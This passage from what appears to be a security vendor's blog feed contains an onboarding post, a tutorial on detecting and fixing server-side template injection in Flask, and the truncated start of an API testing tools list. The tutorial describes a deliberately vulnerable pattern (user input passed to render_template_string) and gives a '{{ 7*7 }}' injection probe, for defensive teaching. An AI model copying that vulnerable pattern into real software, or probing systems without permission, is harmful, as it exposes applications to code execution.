in StackHawk.  Our primary focus has always been to assist our hawksome customers in achieving their objectives and desired outcomes.  Ensuring a successful onboarding experience is critical, as it is with any SaaS platform, and we take great care and pride in our implementation process for all customers. However, our commitment to delivering value extends far beyond just ensuring proper configurations and running tests.&lt;/p&gt;&lt;p&gt;The real benefit of StackHawk lies in helping to unite Application Security (AppSec) and Developers to cultivate a &amp;quot;Shift Left&amp;quot; culture, as outlined in our Senior Director of Product Marketing’s guide, &amp;quot;&lt;a href=&quot;https://www.stackhawk.com/blog/shifting-left-8-essential-tips-to-evolve-your-appsec-program/&quot;&gt;&lt;u&gt;8 Essential Tips to Evolve your AppSec Program&lt;/u&gt;&lt;/a&gt;&amp;quot;.  We mulled over how we could assist AppSec and Developers in embedding security into their software development workflows from the outset. The solution was clear and straightforward - we needed to implement formal training.&lt;/p&gt;&lt;h2&gt;Building a Secure Foundation with StackHawk&lt;/h2&gt;&lt;p&gt;At StackHawk, our Customer Success team is here to guide you through every step of integrating HawkScan into your software development lifecycle. Our approach ensures your team is equipped with the necessary tools, knowledge, and support throughout the integration.  &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Onboarding: &lt;/b&gt;Though our onboarding process, we help you derive as much value from StackHawk as quickly as possible, and then build from there. This involves inviting your team members, &lt;a href=&quot;https://www.stackhawk.com/solutions/api-discovery/&quot;&gt;&lt;u&gt;discovering your apps&lt;/u&gt;&lt;/a&gt;, and laying the groundwork for future growth.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Optimized Setup:&lt;/b&gt; We assist you in defining your basic scan configurations, setting up authentication, and tuning your scans for maximum efficiency.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous Adoption:&lt;/b&gt; Once you’ve identified how your AppSec and Developers would work together under one common security practice, we’re here to train your entire team on how to bring applications under test and automate in your software development cycle.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Ongoing Support:&lt;/b&gt;  Your engineers and developers are now empowered to start testing more applications, with continuous guidance and support from StackHawk CSMs and Solutions Architects.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Independence:&lt;/b&gt;  You’re on the journey from &lt;i&gt;Shift-Left Committed&lt;/i&gt; to becoming &lt;i&gt;Continuously Secure &lt;/i&gt;as outlined in our &lt;a href=&quot;https://www.stackhawk.com/blog/embracing-the-future-of-security-with-the-shift-left-maturity-model/&quot;&gt;&lt;u&gt;Shift Left Maturity Model&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Team Onboarding and Training with StackHawk &lt;/h2&gt;&lt;p&gt;Make no mistake, we&amp;#39;re well aware that providing a training session isn&amp;#39;t exactly groundbreaking. In fact, without the proper context of how you plan to use StackHawk, training sessions can often turn into mundane and repetitive exercises. However, while there are always some fundamental introductory topics that any training must cover, our goal is to ensure that this training is meaningful, hands-on, and engaging. We aim for your teams to dive into testing your critical applications for security vulnerabilities with enthusiasm, aligning seamlessly with your workflows and DevOps practices right from the start.&lt;/p&gt;&lt;p&gt;AJ Stinn, our &lt;i&gt;Lead Support Engineer&lt;/i&gt; in our Customer Success team built our Developer Training from the ground up.  Here is his approach to get your team started with StackHawk.&lt;/p&gt;&lt;p&gt;“Diving into the world of DAST can feel daunting and complex. It blends elements of AppSec, DevOps, and Engineering, from understanding how your application authenticates to integrating scanning in CI/CD. Without a solid foundation in running scans against an application, it’s easy to feel overwhelmed and unsure of where to start or what to prioritize. Building a well-rounded DAST program that ensures no vulnerabilities are left unchecked while remaining efficient for AppSec and Development requires a solid grasp of the tools, their purpose, and how they function.&amp;quot;&lt;/p&gt;&lt;p&gt;&amp;quot;This was my goal when creating our developer training: to ensure the fundamental building blocks are in place for users integrating StackHawk’s DAST into their environment, and to instill the value of shifting this type of security testing earlier in their development lifecycle.”&lt;/p&gt;&lt;h2&gt;What is DAST? What is StackHawk?&lt;/h2&gt;&lt;p&gt;Attendees might have an idea of Dynamic Application Security Testing (DAST) based on what they’ve heard or other tools they’ve used. We start our training sessions by setting the stage with a clear understanding of StackHawk/DAST and what our platform does—and doesn’t do. This prevents confusion and helps everyone grasp the core purpose of the tooling. We walk through our scanning methodology and explain the architecture of running our DAST engine.&lt;/p&gt;&lt;h3&gt;Hands-On Testing&lt;/h3&gt;&lt;p&gt;What better way to learn the basics than by testing them out yourself? When covering complex topics in any training, it can be a struggle to follow along with a presenter over Zoom, so we&amp;#39;ve made it as easy as possible to drive more hands on participation by offering detailed Training Guides accessible in our GitHub repo.These guides outline every training step with easy-to-copy commands that can be pasted directly into your terminal.&lt;/p&gt;&lt;p&gt;Because the long-term vision of running the scanner in a pipeline or navigating OAuth can get quite complex, we stick to the basics during this hands-on portion to drive home the tool&amp;#39;s functionality and operation. Engineers install HawkScan and a local testing application. We guide them through setting up and configuring the scanner to work with our application, running a few different scans, and reviewing the findings in the user interface.&lt;/p&gt;&lt;h3&gt;Every Organization is Unique&lt;/h3&gt;&lt;p&gt;Every organization, its applications, and its development processes are unique. This foundational approach gets attendees thinking critically about their own applications and environments, equipping them with the tools needed to start building complex scanning scenarios tailored to their specific needs. By demonstrating the functionality in a low environment (locally) we are able to directly show the value in scanning applications earlier in the development process. Together this gives attendees the right tools to get started in their journey of Shift-Left DAST.&lt;/p&gt;&lt;h2&gt;What are customers saying about the training?&lt;/h2&gt;&lt;p&gt;Since formally launching in March, the feedback has been overwhelmingly positive. Here are a couple quotes:&lt;/p&gt;&lt;p&gt;If you&amp;#39;ve collaborated with our Customer Success Managers, you&amp;#39;re aware of how accommodating and flexible we are. Our goal is to make your interactions with our teams both meaningful and goal-oriented. We apply this same philosophy to our training approach.&lt;/p&gt;&lt;h2&gt;How can you take advantage?&lt;/h2&gt;&lt;p&gt;All new customers will receive this training as part of our standard onboarding process.&lt;/p&gt;&lt;p&gt;If you&amp;#39;re already a customer, please contact your dedicated Customer Success Manager or send a message to our support team (support@stackhawk.com or through the chat feature in-app) to arrange a 15-minute session. This will help us tailor the training to better align with your Shift Left objectives.&lt;/p&gt;&lt;p&gt;Prefer a more relaxed setting? Join us for our weekly Wednesday sessions by &lt;a href=&quot;https://lp.stackhawk.com/weekly-dev-training-webinar-intro-to-hawkscan&quot;&gt;&lt;u&gt;registering&lt;/u&gt;&lt;/a&gt; on our website. These sessions are less customized than those scheduled through Customer Success, but are a great start. If you&amp;#39;re looking for a more personalized experience, just let us know.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Not a customer yet?&lt;/a&gt; No worries! We invite anyone interested in discovering how StackHawk can help you to join this hands-on training session - a perfect opportunity to see what we&amp;#39;re all about.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Finding and Fixing SSTI Vulnerabilities in Flask (Python) With StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/finding-and-fixing-ssti-vulnerabilities-in-flask-python-with-stackhawk</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;For developers building modern web applications, Server-Side Template Injection (SSTI) is a critical vulnerability they should be aware of and carefully avoid. If left unchecked, this vulnerability can lead to significant security issues. SSTI arises when applications unintentionally allow user input to be interpreted as code within server-side templates, creating a potential avenue for attackers to execute malicious actions.&lt;/p&gt;&lt;p&gt;In this blog, we&amp;#39;ll dive into Server-Side Template Injection (SSTI) vulnerabilities, exploring their causes and how to identify them within web application code. We&amp;#39;ll then use StackHawk to analyze a vulnerable Flask application, pinpoint the SSTI vulnerability, and show you how to fix it. Finally, we&amp;#39;ll rescan the application to ensure the vulnerability is resolved. To start, let&amp;#39;s clearly understand what an SSTI vulnerability is and why it matters.&lt;/p&gt;&lt;h2&gt;What Is Server Side Template Injection (SSTI)?&lt;/h2&gt;&lt;p&gt;Server-Side Template Injection (SSTI) poses a significant risk to the security of web applications. This vulnerability arises when an application incorporates user-supplied input directly into its server-side templates without proper sanitization or validation. Template engines, which combine templates with dynamic data to generate web pages, can be exploited through SSTI attacks.&lt;/p&gt;&lt;p&gt;The typical pattern of an SSTI attack involves an attacker analyzing the application&amp;#39;s structure and identifying areas where user input might be inserted into templates. They then attempt to inject malicious code, often using the template engine&amp;#39;s native syntax, into the input fields. If the application fails to sanitize or escape this input, the injected code can be executed on the server side. This can lead to various consequences, from data leaks and website defacement to full remote code execution, depending on the specific template engine and application environment.&lt;/p&gt;&lt;h2&gt;How Does SSTI Differ From XSS?&lt;/h2&gt;&lt;p&gt;SSTI vulnerabilities can be easily confused with Cross-Site Scripting (XSS). While both involve injecting malicious code, they differ fundamentally in their targets and potential impact. XSS exploits vulnerabilities in client-side code, injecting malicious scripts into web pages viewed by other users. On the other hand, SSTI targets the server side, injecting code into the templates used to generate web pages. Here’s a table to make it easier to see the difference between the two types of vulnerabilities.&lt;/p&gt;&lt;h2&gt;What Are The Root Causes Of SSTI?&lt;/h2&gt;&lt;p&gt;Often, it is a combination of factors that lead to SSTI vulnerabilities, including:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Insufficient Input Sanitization:&lt;/b&gt; Failure to properly sanitize and validate user-supplied data before incorporating it into templates allows malicious actors to inject executable code.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Dynamic Template Construction:&lt;/b&gt; Constructing templates dynamically based on user input can inadvertently introduce vulnerabilities if not handled carefully.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Misconfigured Template Engines:&lt;/b&gt; Improper configuration or misuse of advanced template engine features can expose vulnerabilities and create opportunities for SSTI attacks.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Regardless of the exact factors, the root cause of all Server-Side Template Injection (SSTI) vulnerabilities is inadequate sanitization and validation of user-supplied data before it’s used in server-side templates.&lt;/p&gt;&lt;h2&gt;How To Prevent SSTI Vulnerabilities&lt;/h2&gt;&lt;p&gt;Knowing SSTI vulnerabilities stem from inadequate handling of user input within templates, a holistic approach to building and maintaining your web applications that include secure coding practices, input validation, and continuous security testing is essential. Here are a few key strategies for minimizing your exposure to SSTI vulnerabilities:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Always Use Input Validation and Sanitization:&lt;/b&gt; Treat all user-supplied data as potentially malicious and enforce rigorous validation and sanitization procedures to filter out harmful characters and patterns.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Context-Aware Escaping:&lt;/b&gt; Encode special characters using the template engine&amp;#39;s native escaping mechanisms, preventing their interpretation as executable code.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Content Security Policy (CSP):&lt;/b&gt; Employ CSP headers to restrict the sources from which scripts can be loaded, mitigating the potential impact of SSTI attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Principle of Least Privilege (PoLP):&lt;/b&gt; Adhere to the PoLP by granting templates only the minimum necessary permissions required for their intended functionality.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regular Security Testing:&lt;/b&gt; Conduct routine security assessments using tools like StackHawk to proactively identify and address SSTI vulnerabilities before they can be exploited.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Following these practices in your application development and deployment lifecycle will improve your resilience against SSTI attacks. Let’s put this into practice by looking at a vulnerable Flask/Jinja application, using StackHawk to identify the SSTI vulnerability, and helping us verify that the fix we will implement successfully remediates the issue.&lt;/p&gt;&lt;h2&gt;Detecting And Fixing SSTI Vulnerabilities In Flask/Jinja (Python)&lt;/h2&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Building The Vulnerable Endpoint&lt;/h3&gt;&lt;p&gt;Below is an example of a simple Flask application with an SSTI vulnerability. This application allows users to input their name, which is then rendered in a greeting message using Jinja2 templating. However, it embeds the user input into the template without proper sanitization or escaping, leading to a potential Server-Side Template Injection (SSTI) vulnerability in Jinja2. This scenario illustrates a simple SSTI vulnerability: improperly sanitized user input injected into a template.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Please note: This is an intentionally vulnerable API for demonstration purposes. Do not use this code in an actual application, as it is not production-ready.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;First, create a new directory for your project and navigate into it. If you do this through a terminal, you can run the command below.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;mkdir ssti-app-example&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;cd ssti-app-example&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Next, point to the root directory with the terminal and initialize a new Python project/virtual environment using the following command.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;python3 -m venv myenv&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;source myenv/bin/activate&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Finally, before we write any code, we will install the following dependency:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Flask: This is used to set up the server (this includes the Jinja2 template engine).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To do this, using the same terminal pointed to the project root, run the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;pip install Flask&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now, we will begin creating our application. In the project&amp;#39;s root directory, create a file named &lt;b&gt;app.py&lt;/b&gt;. This file will contain your Flask server and the API endpoint, including the SSTI vulnerability.&lt;/p&gt;&lt;p&gt;After creating and opening the app.py file, add the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Let’s do a quick run-through of the code.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Initialization of Flask App&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;app = Flask(__name__)&lt;/b&gt;&lt;/code&gt;&lt;b&gt; &lt;/b&gt;Initializes the Flask application, setting up the basic environment for the API server.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;API Endpoint Definitions&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;@app.route(&amp;#39;/&amp;#39;)&lt;/b&gt;&lt;/code&gt; defines a route for the home page (/) which returns a basic HTML form that prompts the user to enter their name and submit it via a POST request&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;@app.route(&amp;#39;/greet&amp;#39;, methods=[&amp;#39;POST&amp;#39;])&lt;/b&gt;&lt;/code&gt; defines a route for /greet that only accepts POST requests. It uses render_template_string to render the greeting message as HTML.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Running The Code&lt;/h3&gt;&lt;p&gt;Now that our code is complete, it&amp;#39;s time to demonstrate the SSTI vulnerability. Launch the Flask application using the following command in a terminal pointed to the root of your project with your virtual environment still active:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;flask run -p 4000&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Note that the provided code directly embeds user input (the &lt;i&gt;name&lt;/i&gt; variable) into the template without sanitization, thus rendering it vulnerable to SSTI.&lt;/p&gt;&lt;p&gt;To demonstrate this, we can:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Navigate to the root URL (e.g., &lt;b&gt;http://127.0.0.1:4000/&lt;/b&gt;) .&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Input “&lt;b&gt;{{ 7*7 }}&lt;/b&gt;” into the designated field. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Click the&lt;b&gt; X&lt;/b&gt; button.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Instead of displaying the expected &amp;quot;Hello, {{ 7*7 }}!&amp;quot;, the application will evaluate the injected expression and display &amp;quot;Hello, 49!&amp;quot;&lt;/p&gt;&lt;p&gt;Although not overly malicious, this demonstrates the presence of the SSTI vulnerability within our code. There is the potential that more malicious code could be executed within this application and cause deeper issues. So, let’s take a look at testing for this vulnerability with StackHawk.&lt;/p&gt;&lt;h3&gt;Detecting The Vulnerability With StackHawk And HawkScan&lt;/h3&gt;&lt;p&gt;Now that our code is set up and our application is running let’s get StackHawk to identify this vulnerability automatically. To do this, you must ensure you have a StackHawk account. If you need one, you can &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;sign up for a trial account&lt;/a&gt; or log into an existing account.&lt;/p&gt;&lt;p&gt;If you’re logging into an existing StackHawk account, you’ll click &lt;b&gt;Add an App&lt;/b&gt; -&amp;gt; &lt;b&gt;Create Custom App &lt;/b&gt;from the&lt;b&gt; Applications &lt;/b&gt;page.&lt;/p&gt;&lt;p&gt;If you’re new to StackHawk, you’ll be automatically brought into the &lt;b&gt;Add an App&lt;/b&gt; flow. On the &lt;b&gt;Scanner&lt;/b&gt; screen, you’ll see the instructions for installing the StackHawk CLI. Since we will be running our testing locally, we will use this option. Once the &lt;b&gt;hawk init&lt;/b&gt; command is executed successfully, click the &lt;b&gt;App Details&lt;/b&gt; button.&lt;/p&gt;&lt;p&gt;On the next screen, you will fill out an &lt;b&gt;Application Name&lt;/b&gt;, &lt;b&gt;Environment Name&lt;/b&gt;, and &lt;b&gt;Host&lt;/b&gt;. Feel free to copy the default values I’ve added in the screenshot below for our purposes. Once filled out, click &lt;b&gt;App Type&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;To detect the SSTI vulnerability, we will set the &lt;b&gt;Application Type&lt;/b&gt; to “Dynamic Web Application/Single Page Application” and &lt;b&gt;the API Type&lt;/b&gt; to “Other.” Once complete, click &lt;b&gt;Next&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Lastly, we will need to add a &lt;b&gt;stackhawk.yml&lt;/b&gt; file to the root of our project. Once the file is added, copy the screen&amp;#39;s contents, paste it into the file, and save it. Lastly, we can click the &lt;b&gt;Finish&lt;/b&gt; button.&lt;/p&gt;&lt;h3&gt;Enabling SSTI Detection in HawkScan&lt;/h3&gt;&lt;p&gt;After creating the app in StackHawk, we need to take a few more steps to enable SSTI detection. Two ways to do this are using the &amp;quot;&lt;b&gt;HawkScan Default&lt;/b&gt;&amp;quot; policy or customizing an existing policy.&lt;/p&gt;&lt;p&gt;To set HawkScan up with the &amp;quot;&lt;b&gt;HawkScan Default&lt;/b&gt;&amp;quot; policy, you will log into StackHawk, go to the Applications screen, and click on the settings link for your application.&lt;/p&gt;&lt;p&gt;Next, on the &lt;b&gt;Settings&lt;/b&gt; screen, under &lt;b&gt;HawkScan Settings&lt;/b&gt;, click the &lt;b&gt;Applied Policy&lt;/b&gt; dropdown and select the &amp;quot;&lt;b&gt;HawkScan Default&lt;/b&gt;&amp;quot; policy.&lt;/p&gt;&lt;p&gt;On the next screen, under the &lt;b&gt;Plugins and Tests&lt;/b&gt; section, click on the &lt;b&gt;SSTI&lt;/b&gt; entry to enable HawkScan to execute tests for potential SSTI vulnerabilities.&lt;/p&gt;&lt;p&gt;For this example, we will need to make a small change and add the following code to the &lt;b&gt;stackhawk.yml&lt;/b&gt; file. This configures StackHawk to the base spider and the Ajax spider to discover routes to test.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This configures Hawk Scan to use the base spider and the Ajax spider.&lt;/p&gt;&lt;p&gt;Now, with our application set up in StackHawk, our &lt;b&gt;stackhawk.yml&lt;/b&gt; added to the root of our project, and SSTI detection enabled, we can finally test our application.&lt;/p&gt;&lt;h3&gt;Run HawkScan&lt;/h3&gt;&lt;p&gt;To test our application, in a terminal pointing to the root of our project, we will run HawkScan using the following command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;hawk scan&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;After running the command, the tests should execute in the terminal.&lt;/p&gt;&lt;h3&gt;Explore The Initial Findings&lt;/h3&gt;&lt;p&gt;Once the tests are complete, the terminal will contain some information about any vulnerabilities found. Below, we can see that it has identified the SSTI vulnerability that we introduced in the code. To explore this further, we will click on the test link at the bottom of the output. This will take us into the StackHawk platform to explore further.&lt;/p&gt;&lt;p&gt;After clicking the link, we can see the test results nicely formatted. Next, we will click the Server Side Template Injection (SSTI) entry.&lt;/p&gt;&lt;p&gt;Within this entry, we can see an &lt;b&gt;Overview&lt;/b&gt; and &lt;b&gt;Resources&lt;/b&gt; that can help us fix this vulnerability, as well as the &lt;b&gt;Request&lt;/b&gt; and &lt;b&gt;Response&lt;/b&gt; that the API returned. Above this, you will also see a &lt;b&gt;Validate&lt;/b&gt; button, displaying a cURL command with the exact API request used to expose the vulnerability.&lt;/p&gt;&lt;h3&gt;Fixing The SSTI Vulnerability&lt;/h3&gt;&lt;p&gt;To fix the SSTI vulnerability, avoid using &lt;b&gt;render_template_string&lt;/b&gt; with untrusted input. Instead, use &lt;b&gt;render_template&lt;/b&gt; with a predefined template. This allows Flask to escape user input automatically, preventing it from being executed as code. To implement this, update your &lt;b&gt;app.py&lt;/b&gt; to the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In this secure version, &lt;b&gt;render_template&lt;/b&gt; is used with a separate HTML template file (&lt;b&gt;greet.html&lt;/b&gt;). Flask passes the name variable to the template, and Jinja2 automatically escapes it, rendering it safe from injection attacks.&lt;/p&gt;&lt;p&gt;After creating and opening the greet.html file, add the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;By using &lt;b&gt;render_template&lt;/b&gt; with predefined templates, we ensure the template context is escaped correctly. This approach separates user input from template code, mitigating the risk of SSTI. This example demonstrates the identification and remediation of an SSTI vulnerability in a Flask and Jinja2 project.&lt;/p&gt;&lt;p&gt;Once the code has been updated on your side, you can stop the currently running server (by using ctrl + C in the terminal) and restart it with the new code using:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;flask run –p 4000&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The app should now be up and running with the updated code!&lt;/p&gt;&lt;h3&gt;Confirm The Fix&lt;/h3&gt;&lt;p&gt;We can run the same test as before and enter {{ 7*7 }} into the input field instead of &lt;i&gt;Hello, 49!&lt;/i&gt; we now get &lt;i&gt;Hello, {{ 7*7 }}! &lt;/i&gt;as expected.&lt;/p&gt;&lt;p&gt;Now, let’s use StackHawk to confirm that it’s fixed. To do this, we will click the &lt;b&gt;Rescan Findings&lt;/b&gt; button back in StackHawk.&lt;/p&gt;&lt;p&gt;Then, we will see a modal containing the “&lt;b&gt;hawk rescan&lt;/b&gt;” command that includes the correct Scan ID. You’ll run this command in the same terminal where you ran the initial set of tests.&lt;/p&gt;&lt;p&gt;In the output, you will again see any vulnerabilities in the scan. In this case, the SSTI vulnerability is no longer showing. Clicking on the link at the bottom of the terminal output, you can confirm that the SSTI vulnerability has now been added to the &lt;b&gt;Fixed Findings&lt;/b&gt; &lt;b&gt;from&lt;/b&gt; &lt;b&gt;Previous Scan &lt;/b&gt;section, confirming that the vulnerability has been successfully fixed and has passed any vulnerability tests.&lt;/p&gt;&lt;p&gt;With that, we’ve successfully remedied and retested our application to ensure its safety from potential SSTI attacks. Please remember that the code above is for demonstration purposes only. Carefully validating and sanitizing all user input before it&amp;#39;s passed to a template engine is one of the best ways to prevent SSTI and secure your applications. Using a library designed to minimize the risk of overlooking potential vulnerabilities is one of the best ways to mitigate them.&lt;/p&gt;&lt;h2&gt;Why StackHawk?&lt;/h2&gt;&lt;p&gt;When it comes to preventing vulnerabilities, such as SSTI, StackHawk offers a comprehensive platform for developers to secure their applications and APIs. StackHawk is a modern, powerful DAST tool designed for developers to integrate application security testing seamlessly into their software development lifecycle. It is not just another security tool; it&amp;#39;s a developer-first platform emphasizing automation, ease of use, and integration into existing development workflows.&lt;/p&gt;&lt;p&gt;At its core, StackHawk is built around empowering developers to take the lead in application security. It provides a suite of tools that make it easy to find, understand, and fix security vulnerabilities before they make it to production. One of the critical components of StackHawk is HawkScan, a dynamic application security testing (DAST) tool that scans running applications and APIs to identify security vulnerabilities.&lt;/p&gt;&lt;p&gt;With StackHawk, developers and security teams can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automate Security Testing:&lt;/b&gt; Integrate security testing into CI/CD pipelines, ensuring every build is automatically scanned for vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Identify and Fix Vulnerabilities:&lt;/b&gt; Receive detailed, actionable information about each vulnerability, including where it is in the code and how to fix it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test in All Environments:&lt;/b&gt; Use StackHawk in various environments, including development, staging, and production, to catch security issues at any stage of the development process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Customize Scans: &lt;/b&gt;Tailor scanning configurations to suit specific applications and environments, ensuring more relevant and accurate results.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By focusing on a developer-first approach to security testing and integrating smoothly into existing dev tools and practices, StackHawk demystifies application security, making it a more approachable and manageable part of the software development lifecycle.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;In this post, we&amp;#39;ve explored the critical nature of Server-Side Template Injection (SSTI) vulnerabilities, understanding how they arise from the mishandling of user input within template engines. We&amp;#39;ve seen their potential for malicious code execution, leading to serious security breaches.&lt;/p&gt;&lt;p&gt;To mitigate these risks, we&amp;#39;ve emphasized the importance of a robust security strategy, including input validation, secure template engines, and the principle of least privilege. We also demonstrated how StackHawk&amp;#39;s dynamic application security testing (DAST) can proactively identify SSTI vulnerabilities, allowing quick remediation. By integrating security best practices and utilizing tools like StackHawk, you can significantly enhance the security posture of your applications, safeguarding them against SSTI attacks. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up today&lt;/a&gt; to use StackHawk’s modern DAST platform to level up your security game, find SSTI vulnerabilities, and more.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Top 10 API Tools For Testing in 2025]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/top-10-api-tools-for-testing-in-2025</guid><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;APIs (Application Programming Interfaces) serve as the driving force of modern software systems, powering the digital experiences we rely on daily. To ensure customer satisfaction and product success, it&amp;#39;s crucial to guarantee that your APIs are reliable and performant.&lt;/p&gt;&lt;p&gt;API testing is a critical safeguard that ensures your APIs&amp;#39; functionality, security, and efficiency. Choosing the right&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-rest-api-testing-tools-and-best-practices-for-success/&quot;&gt; &lt;u&gt;API testing tool&lt;/u&gt;&lt;/a&gt; can maximize your product&amp;#39;s potential and create delightful user experiences.&lt;/p&gt;&lt;p&gt;This article will discuss the fundamental properties to look for in an API testing tool and how to select the right one for your needs. We will then explore the top API testing tools of 2024, empowering you to make an informed decision. Let&amp;#39;s start by taking a deeper look at the fundamentals of API testing.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing is a type of software testing that examines the reliability, performance, functionality, and&lt;a href=&quot;https://www.stackhawk.com/blog/6-serious-api-security-vulnerabilities-and-how-to-fix-them/&quot;&gt; &lt;u&gt;security of APIs&lt;/u&gt;&lt;/a&gt;. When an API is designed, there are specific expectations for how it should behave. API testing ensures that the API meets these expectations.&lt;/p&gt;&lt;p&gt;In simpler terms, testing an API involves sending requests to it and analyzing the responses. This can be done manually or with the help of automation frameworks. Automated API testing is often used by DevOps, quality assurance, and development teams in continuous testing practices. Later in this article, we&amp;#39;ll explore tools that support both manual and automated testing.&lt;/p&gt;&lt;p&gt;One of the main advantages of API testing is that it can detect errors early in the development process, even before the user interface (UI) is ready. This saves significant time and resources, as problems can be addressed quickly. API testing provides rapid feedback, allowing for faster iteration and improvement, which is especially valuable in Agile software development.&lt;/p&gt;&lt;p&gt;API testing can uncover a wide range of issues, including problems with API reliability, slow response times, and security vulnerabilities. By identifying and fixing these issues, you can ensure that data exchanges between software&lt;a href=&quot;https://www.stackhawk.com/solutions/getting-started-with-appsec/&quot;&gt; &lt;u&gt;applications are secure&lt;/u&gt;&lt;/a&gt; and reliable.&lt;/p&gt;&lt;p&gt;API testing tools are essential for ensuring the continued reliability and&lt;a href=&quot;https://www.stackhawk.com/blog/10-web-application-security-threats-and-how-to-mitigate-them/&quot;&gt; &lt;u&gt;security of applications&lt;/u&gt;&lt;/a&gt;. These tools validate the functionality, performance, and security of APIs, helping to maintain high standards for software quality.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Types of API tests&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Before releasing your API to production, it&amp;#39;s crucial to ensure it will deliver on its promises. API testing involves different approaches to verify the API&amp;#39;s functionality and reliability in real-world scenarios.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Functional Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Functional testing verifies that the API meets its specific functional requirements. An API can have one or more endpoints 